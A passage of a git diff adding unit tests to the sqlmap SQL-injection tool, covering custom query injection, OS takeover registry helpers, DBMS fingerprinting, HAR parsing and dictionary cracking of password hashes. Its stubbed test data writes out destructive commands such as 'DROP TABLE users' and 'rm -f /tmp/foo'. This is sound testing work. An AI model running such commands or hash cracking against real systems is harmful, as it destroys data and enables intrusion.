[["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# custom.py +# --------------------------------------------------------------------------- # + +class TestCustomSqlQuery(_GenericBase): + def test_select_joins_listlike_rows(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: [["1", "alice"], ["2", "bob"]] + out = c.sqlQuery("SELECT id, name FROM users;") + # SELECT + list-like rows => each row joined into a single scalar string. + self.assertEqual(len(out), 2) + self.assertTrue(all(isinstance(_, str) for _ in out)) + + def test_select_scalar_passthrough(self): + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + captured["fromUser"] = k.get("fromUser") + return "42" + + cmod.inject.getValue = gv + out = c.sqlQuery("SELECT COUNT(*) FROM users") + self.assertEqual(out, "42") + self.assertTrue(captured["fromUser"]) + + def test_metadb_suffix_stripped(self): + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM foo%s.bar" % METADB_SUFFIX) + # the METADB-suffixed schema qualifier is stripped before injection + self.assertNotIn(METADB_SUFFIX, captured["query"]) + + def test_mssql_from_dbo_rewrite(self): + set_dbms("Microsoft SQL Server") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM mydb.users") + # single-dot FROM target gets the .dbo. schema spliced in for MSSQL + self.assertIn("mydb.dbo.users", captured["query"]) + + def test_nonquery_without_stacking_warns_none(self): + set_dbms("MySQL") + conf.direct = False + kb.injection.data = {} # no stacking technique available + c = Custom() + cmod.inject.getValue = lambda *a, **k: self.fail("must not run a query") + out = c.sqlQuery("DELETE FROM users") + self.assertIsNone(out) + + def test_nonquery_stacked_returns_null(self): + set_dbms("MySQL") + conf.direct = True # direct => stacked execution allowed + c = Custom() + calls = {} + + def go(query, *a, **k): + calls["query"] = query + + cmod.inject.goStacked = go + out = c.sqlQuery("DROP TABLE users") + self.assertEqual(out, NULL) + self.assertIn("DROP TABLE users", calls["query"]) + + def test_nonedata_exception_handled(self): + from lib.core.exception import SqlmapNoneDataException + set_dbms("MySQL") + c = Custom() + + def boom(*a, **k): + raise SqlmapNoneDataException("no data") + + cmod.inject.getValue = boom + # exception is swallowed and logged; output stays None + self.assertIsNone(c.sqlQuery("SELECT 1")) + + +class TestCustomSqlFile(_GenericBase): + def test_sqlfile_select_snippets(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: "r" + + # getSQLSnippet reads from disk; patch it to return inline SQL. + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # two SELECT statements => two recorded dumper.sqlQuery calls + self.assertEqual(len(conf.dumper.sqlQueries), 2) + finally: + cmod.getSQLSnippet = saved + + def test_sqlfile_nonselect_snippet(self): + set_dbms("MySQL") + conf.direct = True + c = Custom() + cmod.inject.goStacked = lambda *a, **k: None + + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # non-SELECT => single recorded call with the whole snippet + self.assertEqual(len(conf.dumper.sqlQueries), 1) + self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + finally: + cmod.getSQLSnippet = saved + + +# --------------------------------------------------------------------------- # +# misc.py +# --------------------------------------------------------------------------- # + +class _TestMisc(Miscellaneous): + """Miscellaneous with the OS/exec collaborators stubbed.""" + + cmdTblName = "sqlmapoutput" + + def __init__(self): + Miscellaneous.__init__(self) + self.checkDbmsOsCalls = 0 + self.execCmdCalls = [] + + def checkDbmsOs(self, detailed=False, vatch=False): + self.checkDbmsOsCalls += 1 + + def execCmd(self, cmd, silent=False): + self.execCmdCalls.append((cmd, silent)) + + +class TestMisc(_GenericBase): + def test_remote_temp_path_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + conf.tmpPath = None + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "/tmp") + self.assertEqual(conf.tmpPath, "/tmp") + + def test_remote_temp_path_windows_direct(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + conf.tmpPath = None + conf.direct = True + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "%TEMP%") + + def test_remote_temp_path_explicit_windows_drive(self): + # An explicit Windows-style drive path flips Backend OS to Windows. + set_dbms("MySQL") + conf.tmpPath = "C:\\Temp" + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertTrue(Backend.isOs(OS.WINDOWS)) + self.assertIn("Temp", out) + self.assertNotIn("\\", out) # ntToPosixSlashes normalized the path + + def test_remote_temp_path_mssql_errorlog(self): + set_dbms("Microsoft SQL Server") + conf.tmpPath = None + mmod.inject.getValue = lambda query, **k: "C:\\Logs\\ERRORLOG" + m = _TestMisc() + out = m.getRemoteTempPath() + # ntpath.dirname strips the ERRORLOG filename, then ntToPosixSlashes + # normalizes the slashes: the exact temp dir must be "C:/Logs". Asserting + # the full path (and that the filename is gone) proves dirname ran. + self.assertEqual(out, "C:/Logs") + self.assertNotIn("ERRORLOG", out) + + def test_get_version_from_banner(self): + set_dbms("MySQL") + conf.direct = True + kb.bannerFp = {} + mmod.inject.getValue = lambda query, **k: "5.7.31-log" + m = _TestMisc() + m.getVersionFromBanner() + # regex \d[\d.-]* extracts the leading numeric-ish run (trailing '-' kept) + self.assertEqual(kb.bannerFp["dbmsVersion"], "5.7.31-") + + def test_get_version_from_banner_cached(self): + set_dbms("MySQL") + kb.bannerFp = {"dbmsVersion": "8.0"} + mmod.inject.getValue = lambda *a, **k: self.fail("must not query when cached") + m = _TestMisc() + m.getVersionFromBanner() + self.assertEqual(kb.bannerFp["dbmsVersion"], "8.0") + + def test_del_remote_file_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + m = _TestMisc() + m.delRemoteFile("/tmp/foo") + self.assertEqual(m.execCmdCalls[-1], ("rm -f /tmp/foo", True)) + + def test_del_remote_file_windows(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + m = _TestMisc() + m.delRemoteFile("C:/tmp/foo") + cmd, silent = m.execCmdCalls[-1] + self.assertTrue(cmd.startswith("del /F /Q")) + self.assertTrue(silent) + + def test_del_remote_file_empty_noop(self): + set_dbms("MySQL") + m = _TestMisc() + m.delRemoteFile(None) + self.assertEqual(m.execCmdCalls, []) + self.assertEqual(m.checkDbmsOsCalls, 0) + + def test_create_support_tbl(self): + set_dbms("MySQL") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl("mytbl", "data", "TEXT") + joined = " | ".join(stacked) + self.assertIn("DROP TABLE mytbl", joined) + self.assertIn("CREATE TABLE mytbl(data TEXT)", joined) + + def test_create_support_tbl_mssql_cmdtbl(self): + set_dbms("Microsoft SQL Server") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl(m.cmdTblName, "data", "NVARCHAR(4000)") + joined = " | ".join(stacked) + # MSSQL cmd output table gets an IDENTITY id column + self.assertIn("IDENTITY", joined) + + def test_like_or_exact_default(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '1' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '1') + self.assertIn("LIKE", cond) + + def test_like_or_exact_exact(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '2' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '2') + self.assertEqual(cond, "='%s'") + + def test_like_or_exact_invalid(self): + from lib.core.exception import SqlmapNoneDataException + m = _TestMisc() + mmod.readInput = lambda *a, **k: '9' + self.assertRaises(SqlmapNoneDataException, m.likeOrExact, "table") + + +# --------------------------------------------------------------------------- # +# takeover.py (pure helpers only) +# --------------------------------------------------------------------------- # + +class _TestTakeover(tmod.Takeover): + """Takeover with all process/network collaborators stubbed. + + Only the pure control-flow helpers (table naming, reg read/add/del dispatch, + osBof/osSmb guards) are exercised; metasploit/icmpsh/UDF spawning is replaced + with recorders so no external process or socket is ever created. + """ + + def __init__(self): + tmod.Takeover.__init__(self) + self.regCalls = [] + self.osVal = OS.WINDOWS + self.smbCalled = False + self.bofCalled = False + self._regInitCalled = 0 + + # neutralize environment setup / OS detection + def _regInit(self): + self._regInitCalled += 1 + + def checkDbmsOs(self, detailed=False, vatch=False): + pass + + def initEnv(self, *a, **k): + pass + + def getRemoteTempPath(self): + return "/tmp" + + def createMsfShellcode(self, *a, **k): + pass + + def readRegKey(self, regKey, regValue, parse=False): + self.regCalls.append(("read", regKey, regValue)) + return "value" + + def addRegKey(self, regKey, regValue, regType, regData): + self.regCalls.append(("add", regKey, regValue, regType, regData)) + + def delRegKey(self, regKey, regValue): + self.regCalls.append(("del", regKey, regValue)) + + def smb(self): + self.smbCalled = True + + def bof(self): + self.bofCalled = True + + +class TestTakeover(_GenericBase): + def _saved_takeover_readInput(self): + return tmod.readInput + + def setUp(self): + _GenericBase.setUp(self) + self._saved_t_readInput = tmod.readInput + + def tearDown(self): + tmod.readInput = self._saved_t_readInput + _GenericBase.tearDown(self) + + def test_init_cmd_table_name(self): + set_dbms("MySQL") + t = _TestTakeover() + self.assertEqual(t.cmdTblName, "%soutput" % conf.tablePrefix) + self.assertEqual(t.tblField, "data") + + def test_reg_read_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + t = _TestTakeover() + out = t.regRead() + self.assertEqual(out, "value") + self.assertEqual(t.regCalls[-1], ("read", "HKLM\\Soft", "Name")) + self.assertEqual(t._regInitCalled, 1) + + def test_reg_read_defaults(self): + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + tmod.readInput = lambda message, default=None, **k: default + t = _TestTakeover() + t.regRead() + kind, regKey, regVal = t.regCalls[-1] + self.assertEqual(kind, "read") + self.assertIn("CurrentVersion", regKey) + self.assertEqual(regVal, "ProductName") + + def test_reg_add_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + conf.regData = "data" + conf.regType = "REG_SZ" + t = _TestTakeover() + t.regAdd() + self.assertEqual(t.regCalls[-1], ("add", "HKLM\\Soft", "Name", "REG_SZ", "data")) + + def test_reg_add_missing_key_raises(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + conf.regData = None + conf.regType = None + tmod.readInput = lambda *a, **k: "" # empty -> missing mandatory option + t = _TestTakeover() + self.assertRaises(SqlmapMissingMandatoryOptionException, t.regAdd) + + def test_reg_del_confirmed(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: True if boolean else default + t = _TestTakeover() + t.regDel() + self.assertEqual(t.regCalls[-1], ("del", "HKLM\\Soft", "Name")) + + def test_reg_del_declined(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: False if boolean else default + t = _TestTakeover() + t.regDel() + # declined => no delRegKey call recorded + self.assertEqual([c for c in t.regCalls if c[0] == "del"], []) + + def test_osbof_wrong_dbms_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + self.assertRaises(SqlmapUnsupportedDBMSException, t.osBof) + + def test_osbof_no_stacking_returns(self): + set_dbms("Microsoft SQL Server") + conf.direct = False + kb.injection.data = {} # no stacking, not direct => early return + t = _TestTakeover() + self.assertIsNone(t.osBof()) + self.assertFalse(t.bofCalled) + + def test_ossmb_non_windows_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + + # checkDbmsOs is a no-op here, so force the non-Windows OS explicitly + self._force_os(OS.LINUX) + self.assertRaises(SqlmapUnsupportedDBMSException, t.osSmb) + self.assertFalse(t.smbCalled) + + def test_ossmb_windows_invokes_smb(self): + set_dbms("MySQL") + conf.direct = True + self._force_os(OS.WINDOWS) + t = _TestTakeover() + t.osSmb() + self.assertTrue(t.smbCalled) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 64a76e930..753c5dba3 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -448,16 +448,67 @@ class TestGraphqlDialects(unittest.TestCase): self.assertIsNone(gi.DIALECTS["SQLite"].delay) +def _dbmsTruth(dbms): + """A truth() oracle that behaves like a real `dbms` back-end: it answers each + dialect's fingerprint predicate by the SQL *semantics* a genuine instance would + exhibit, keyed on the function tokens the predicate emits - never on the + fingerprint constant itself. A predicate referencing a function the back-end does + not implement raises an error on a real server and is therefore falsy here.""" + + # Which vendor-specific tokens each back-end actually understands. A predicate is + # true only if every vendor token it mentions belongs to this back-end (mirroring + # an unknown function being a hard error rather than a false comparison). + knows = { + "SQLite": ("SQLITE_VERSION()",), + "Microsoft SQL Server": ("@@VERSION",), + "PostgreSQL": ("version()",), + "MySQL": ("@@VERSION_COMMENT", "@@VERSION"), + } + # @@VERSION exists on both MSSQL and MySQL; the distinguishing factor is the + # '%Microsoft%' banner match, which only an actual Microsoft server satisfies. + vendorTokens = ("SQLITE_VERSION()", "@@VERSION_COMMENT", "@@VERSION", "version()") + owned = knows[dbms] + + def truth(cond): + # Any vendor token the predicate names must be implemented by this back-end, + # else the probe errors out (falsy). + for token in vendorTokens: + if token in cond and token not in owned: + # @@VERSION is shared; let the banner clause below decide instead. + if token == "@@VERSION" and "@@VERSION_COMMENT" not in cond: + continue + return False + if not any(token in cond for token in vendorTokens): + return False + # @@VERSION LIKE '%Microsoft%' is only true on a real Microsoft server. + if "@@VERSION" in cond and "Microsoft" in cond: + return dbms == "Microsoft SQL Server" + # version() LIKE 'PostgreSQL%' is only true on a real PostgreSQL server. + if "version()" in cond and "PostgreSQL" in cond: + return dbms == "PostgreSQL" + return True + + return truth + + class TestGraphqlFingerprint(unittest.TestCase): """DBMS fingerprinting drives off the universal truth() predicate""" def test_identifies_sqlite(self): - truth = lambda cond: cond == gi.DIALECTS["SQLite"].fingerprint - self.assertEqual(gi._fingerprint(truth), "SQLite") + # A SQLite-modelled oracle answers only SQLite's own probe; _fingerprint must + # discriminate to land on SQLite rather than echo the asserted constant. + self.assertEqual(gi._fingerprint(_dbmsTruth("SQLite")), "SQLite") def test_identifies_mysql(self): - truth = lambda cond: cond == gi.DIALECTS["MySQL"].fingerprint - self.assertEqual(gi._fingerprint(truth), "MySQL") + self.assertEqual(gi._fingerprint(_dbmsTruth("MySQL")), "MySQL") + + def test_identifies_mssql(self): + # @@VERSION is shared with MySQL; only the '%Microsoft%' banner match resolves it. + self.assertEqual(gi._fingerprint(_dbmsTruth("Microsoft SQL Server")), + "Microsoft SQL Server") + + def test_identifies_postgresql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("PostgreSQL")), "PostgreSQL") def test_unknown_backend(self): self.assertIsNone(gi._fingerprint(lambda cond: False)) diff --git a/tests/test_gui_helpers.py b/tests/test_gui_helpers.py new file mode 100644 index 000000000..bc8fc37b3 --- /dev/null +++ b/tests/test_gui_helpers.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parser-introspection helpers in lib/utils/gui.py. The GUI itself needs a live +display (Tk), so it is excluded from the smoke test and never imported there; +these module-level helpers, however, are pure and work on argparse/optparse +parser+option objects. We exercise BOTH backends (argparse natively, optparse +via a lightweight stand-in) so the compatibility branches are walked. Importing +the module also covers its (otherwise-uncovered) top-level definitions. +""" + +import argparse +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import gui + + +class _OptparseLikeOption(object): + """Minimal optparse.Option stand-in (drives the non-argparse branches).""" + def __init__(self, short, long_, dest, help_, type_=None, takes=True): + self._short_opts = [short] if short else [] + self._long_opts = [long_] if long_ else [] + self.dest = dest + self.help = help_ + self.type = type_ + self._takes = takes + + def takes_value(self): + return self._takes + + +class _OptparseLikeGroup(object): + def __init__(self, title, description, options): + self.title = title + self.description = description + self.option_list = options + + def get_description(self): + return self.description + + +def _build_argparse(): + p = argparse.ArgumentParser() + g = p.add_argument_group("Target", "options for the target") + g.add_argument("-u", "--url", dest="url", help="target url") + g.add_argument("--level", dest="level", type=int, help="level", choices=[1, 2, 3]) + g.add_argument("--flag", dest="flag", action="store_true", help="a boolean") + return p, g + + +class TestArgparseBackend(unittest.TestCase): + def setUp(self): + self.parser, self.group = _build_argparse() + + def test_parser_groups_found(self): + groups = gui._parserGroups(self.parser) + titles = [gui._groupTitle(g) for g in groups] + self.assertIn("Target", titles) + + def test_group_options_and_metadata(self): + opts = gui._groupOptions(self.group) + self.assertTrue(opts) + self.assertEqual(gui._groupDescription(self.group), "options for the target") + + def test_opt_accessors(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + url = by_dest["url"] + self.assertIn("--url", gui._optStrings(url)) + self.assertEqual(gui._optHelp(url), "target url") + self.assertTrue(gui._optTakesValue(url)) + self.assertEqual(gui._optValueType(url), "string") + self.assertIn("--url", gui._optionLabel(url)) + + def test_int_type_and_choices(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + level = by_dest["level"] + self.assertEqual(gui._optValueType(level), "int") + self.assertEqual(gui._optChoices(level), [1, 2, 3]) + + def test_store_true_takes_no_value(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + self.assertFalse(gui._optTakesValue(by_dest["flag"])) + + +class TestOptparseBackend(unittest.TestCase): + def setUp(self): + self.opt = _OptparseLikeOption("-u", "--url", "url", "target url", type_="string") + self.intopt = _OptparseLikeOption(None, "--level", "level", "level", type_="int") + self.boolopt = _OptparseLikeOption(None, "--flag", "flag", "flag", takes=False) + self.group = _OptparseLikeGroup("Target", "target opts", [self.opt, self.intopt, self.boolopt]) + + def test_opt_strings_from_short_long(self): + self.assertEqual(gui._optStrings(self.opt), ["-u", "--url"]) + + def test_value_type_and_takes(self): + self.assertEqual(gui._optValueType(self.intopt), "int") + self.assertTrue(gui._optTakesValue(self.opt)) + self.assertFalse(gui._optTakesValue(self.boolopt)) + + def test_group_description_via_method(self): + self.assertEqual(gui._groupDescription(self.group), "target opts") + self.assertEqual(gui._groupOptions(self.group), [self.opt, self.intopt, self.boolopt]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 000000000..56e9b69b5 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/har.py -- HAR (HTTP Archive) collector and HTTP +request/response parsing used by sqlmap's --har-file feature. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import har as H + + +class TestFakeSocket(unittest.TestCase): + def test_makefile_returns_bytesio(self): + sock = H.FakeSocket(b"hello\r\n") + f = sock.makefile() + self.assertEqual(f.read(), b"hello\r\n") + + +class TestRawPair(unittest.TestCase): + def test_stores_fields(self): + pair = H.RawPair(b"GET / HTTP/1.0\r\n\r\n", + b"HTTP/1.0 200 OK\r\n\r\n", + startTime=1000, endTime=2000) + self.assertEqual(pair.request, b"GET / HTTP/1.0\r\n\r\n") + self.assertEqual(pair.response, b"HTTP/1.0 200 OK\r\n\r\n") + self.assertEqual(pair.startTime, 1000) + self.assertEqual(pair.endTime, 2000) + + +class TestHTTPCollector(unittest.TestCase): + def test_collect_and_obtain(self): + c = H.HTTPCollector() + c.collectRequest(b"GET / HTTP/1.0\r\nHost: example.com\r\n\r\n", + b"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\nbody", + startTime=1000, endTime=2000) + result = c.obtain() + log = result["log"] + self.assertEqual(log["version"], "1.2") + self.assertEqual(log["creator"]["name"], "sqlmap") + entries = log["entries"] + self.assertEqual(len(entries), 1) + self.assertEqual(entries[0]["request"]["method"], "GET") + self.assertEqual(entries[0]["response"]["status"], 200) + + +class TestHTTPCollectorFactory(unittest.TestCase): + def test_create_returns_collector(self): + f = H.HTTPCollectorFactory(harFile=True) + c = f.create() + self.assertIsInstance(c, H.HTTPCollector) + + +class TestEntry(unittest.TestCase): + def test_toDict(self): + req = H.Request("GET", "/path", "HTTP/1.1", + {"Host": "example.com"}) + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/html"}, b"body") + entry = H.Entry(req, resp, startTime=1000, endTime=2000, + extendedArguments={}) + d = entry.toDict() + self.assertEqual(d["request"]["method"], "GET") + self.assertEqual(d["response"]["status"], 200) + self.assertEqual(d["time"], 1000000) + self.assertIn("startedDateTime", d) + + +class TestRequest(unittest.TestCase): + def test_parse_simple_get(self): + raw = b"GET /path HTTP/1.1\r\nHost: example.com\r\n\r\n" + req = H.Request.parse(raw) + self.assertEqual(req.method, "GET") + self.assertEqual(req.path, "/path") + self.assertEqual(req.httpVersion, "HTTP/1.1") + self.assertEqual(req.headers.get("Host"), "example.com") + + def test_parse_with_comment(self): + raw = (b"HTTP request [#1]:\r\n" + b"POST /submit HTTP/1.0\r\n" + b"Host: example.com\r\n" + b"Content-Type: text/plain\r\n" + b"Content-Length: 4\r\n" + b"\r\n" + b"body") + req = H.Request.parse(raw) + self.assertEqual(req.method, "POST") + self.assertEqual(req.path, "/submit") + self.assertEqual(req.comment, b"HTTP request [#1]:") + self.assertIn(b"body", req.postBody) + + def test_toDict(self): + req = H.Request("GET", "/", "HTTP/1.0", + {"Host": "test.com", "Accept": "*/*"}) + d = req.toDict() + self.assertEqual(d["method"], "GET") + self.assertEqual(d["url"], "http://test.com/") + self.assertEqual(len(d["headers"]), 2) + + def test_toDict_with_postbody(self): + req = H.Request("POST", "/", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/json"}, + postBody=b'{"a":1}') + d = req.toDict() + self.assertEqual(d["postData"]["mimeType"], "application/json") + self.assertIn('{"a":1}', d["postData"]["text"]) + + def test_url_property(self): + req = H.Request("GET", "/path?q=1", "HTTP/1.0", + {"Host": "example.com"}) + self.assertEqual(req.url, "http://example.com/path?q=1") + + def test_url_no_host_header(self): + req = H.Request("GET", "/", "HTTP/1.0", {}) + self.assertIn("unknown", req.url) + + +class TestResponse(unittest.TestCase): + def test_parse_simple(self): + raw = b"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 4\r\n\r\nbody" + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "OK") + self.assertEqual(resp.headers.get("Content-Type"), "text/html") + self.assertEqual(resp.content, b"body") + + def test_parse_with_comment(self): + raw = (b"HTTP response [#1] (200 Fine):\r\n" + b"HTTP/1.0 200 Fine\r\n" + b"Content-Type: text/plain\r\n" + b"\r\n" + b"response body") + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "Fine") + self.assertIn(b"HTTP response", resp.comment) + + def test_toDict(self): + resp = H.Response("HTTP/1.1", 404, "Not Found", + {"Content-Type": "text/html"}, b"not found") + d = resp.toDict() + self.assertEqual(d["status"], 404) + self.assertEqual(d["statusText"], "Not Found") + self.assertEqual(d["content"]["text"], "not found") + self.assertEqual(d["content"]["size"], 9) + + def test_toDict_binary_content_encoded(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "application/octet-stream"}, + b"\x00\x01\xff") + d = resp.toDict() + self.assertEqual(d["content"]["encoding"], "base64") + + def test_toDict_non_text_content(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/plain"}, b"plain text") + d = resp.toDict() + self.assertEqual(d["content"]["text"], "plain text") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash_crack.py b/tests/test_hash_crack.py new file mode 100644 index 000000000..f23838e0e --- /dev/null +++ b/tests/test_hash_crack.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Dictionary-attack machinery in lib/utils/hash.py (the cracking loop, hash-file +parsing, result storage and table/cache post-processing) - the part NOT covered +by tests/test_hash.py, which only exercises the pure hash-format functions. + +These run the single-process cracking path (conf.disableMulti=True) against a +TINY temp wordlist that contains the known plaintext, so a known hash is cracked +deterministically in milliseconds without interactive prompts, multiprocessing +pools, network, or the real default dictionary. conf.hashDB is forced to None so +hashDBRetrieve/hashDBWrite become no-ops (no session DB side effects). +""" + +import glob +import hashlib +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.data import conf, kb +from lib.core.enums import MKSTEMP_PREFIX + +SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" + +# known plaintext / hashes shared across tests +PW = "testpass" +MD5_HASH = hashlib.md5(PW.encode("utf-8")).hexdigest() + + +class _CrackBase(unittest.TestCase): + """Sets up a tiny wordlist and non-interactive, no-DB, single-process state.""" + + @classmethod + def setUpClass(cls): + cls._tmpfiles = [] + + # tiny wordlist containing the known plaintext (plus decoys) + cls.wordlist = os.path.join(SCRATCH, "test_hash_crack_wl.txt") + with open(cls.wordlist, "w") as f: + f.write("foo\nbar\n%s\nbaz\n" % PW) + cls._tmpfiles.append(cls.wordlist) + + @classmethod + def tearDownClass(cls): + for path in cls._tmpfiles: + try: + os.remove(path) + except OSError: + pass + + def setUp(self): + # snapshot global state we mutate + self._saved = { + "disableMulti": conf.disableMulti, + "hashDB": conf.hashDB, + "hashFile": conf.hashFile, + "wordlists": kb.wordlists, + "cachedUsersPasswords": kb.data.cachedUsersPasswords if "cachedUsersPasswords" in kb.data else None, + "storeHashes": kb.choices.storeHashes if "storeHashes" in kb.choices else None, + } + + # deterministic, fast, side-effect-free cracking + conf.disableMulti = True + conf.hashDB = None + kb.wordlists = [self.wordlist] + + def tearDown(self): + conf.disableMulti = self._saved["disableMulti"] + conf.hashDB = self._saved["hashDB"] + conf.hashFile = self._saved["hashFile"] + kb.wordlists = self._saved["wordlists"] + kb.data.cachedUsersPasswords = self._saved["cachedUsersPasswords"] + kb.choices.storeHashes = self._saved["storeHashes"] + + +class TestDictionaryAttack(_CrackBase): + def test_crack_md5_generic_variant_a(self): + # generic (no-salt) algorithms go through _bruteProcessVariantA + results = H.dictionaryAttack({"admin": [MD5_HASH]}) + self.assertEqual(results, [("admin", MD5_HASH, PW)]) + + def test_crack_postgres_variant_b(self): + # username-dependent algorithm goes through _bruteProcessVariantB + h = H.postgres_passwd(PW, "testuser", uppercase=False) + results = H.dictionaryAttack({"testuser": [h]}) + self.assertEqual(results, [("testuser", h, PW)]) + + def test_crack_django_md5_salted_variant_b(self): + # salted algorithm: salt is parsed out of the stored hash by dictionaryAttack + h = H.django_md5_passwd(PW, "salt") + results = H.dictionaryAttack({"u2": [h]}) + self.assertEqual(results, [("u2", h, PW)]) + + def test_no_password_found_returns_empty(self): + # plaintext not in wordlist -> nothing cracked + h = hashlib.md5(b"not-in-wordlist-xyz").hexdigest() + results = H.dictionaryAttack({"admin": [h]}) + self.assertEqual(results, []) + + def test_unknown_hash_format_ignored(self): + # a value that hashRecognition rejects produces no hash_regexes and no results + results = H.dictionaryAttack({"admin": ["not_a_hash"]}) + self.assertEqual(results, []) + + def test_empty_attack_dict(self): + self.assertEqual(H.dictionaryAttack({}), []) + + +class TestCrackHashFile(_CrackBase): + def setUp(self): + super(TestCrackHashFile, self).setUp() + # capture the parsed attack_dict that crackHashFile feeds to dictionaryAttack + self._captured = {} + self._real_attack = H.dictionaryAttack + + def _capture(attack_dict): + self._captured.clear() + self._captured.update(attack_dict) + return [] + + H.dictionaryAttack = _capture + + def tearDown(self): + H.dictionaryAttack = self._real_attack + super(TestCrackHashFile, self).tearDown() + + def test_user_colon_hash_file(self): + path = os.path.join(SCRATCH, "test_hash_crack_hashes.txt") + with open(path, "w") as f: + f.write("admin:%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + # the "user:hash" line is parsed into {username: [hash]} + self.assertEqual(self._captured, {"admin": [MD5_HASH]}) + + def test_bare_hash_file(self): + # no "user:hash" structure -> a dummy user is synthesised per line + path = os.path.join(SCRATCH, "test_hash_crack_bare.txt") + with open(path, "w") as f: + f.write("%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + from lib.core.settings import DUMMY_USER_PREFIX + self.assertEqual(len(self._captured), 1) + (key, value), = self._captured.items() + # the synthesised key uses the dummy-user prefix and maps to the 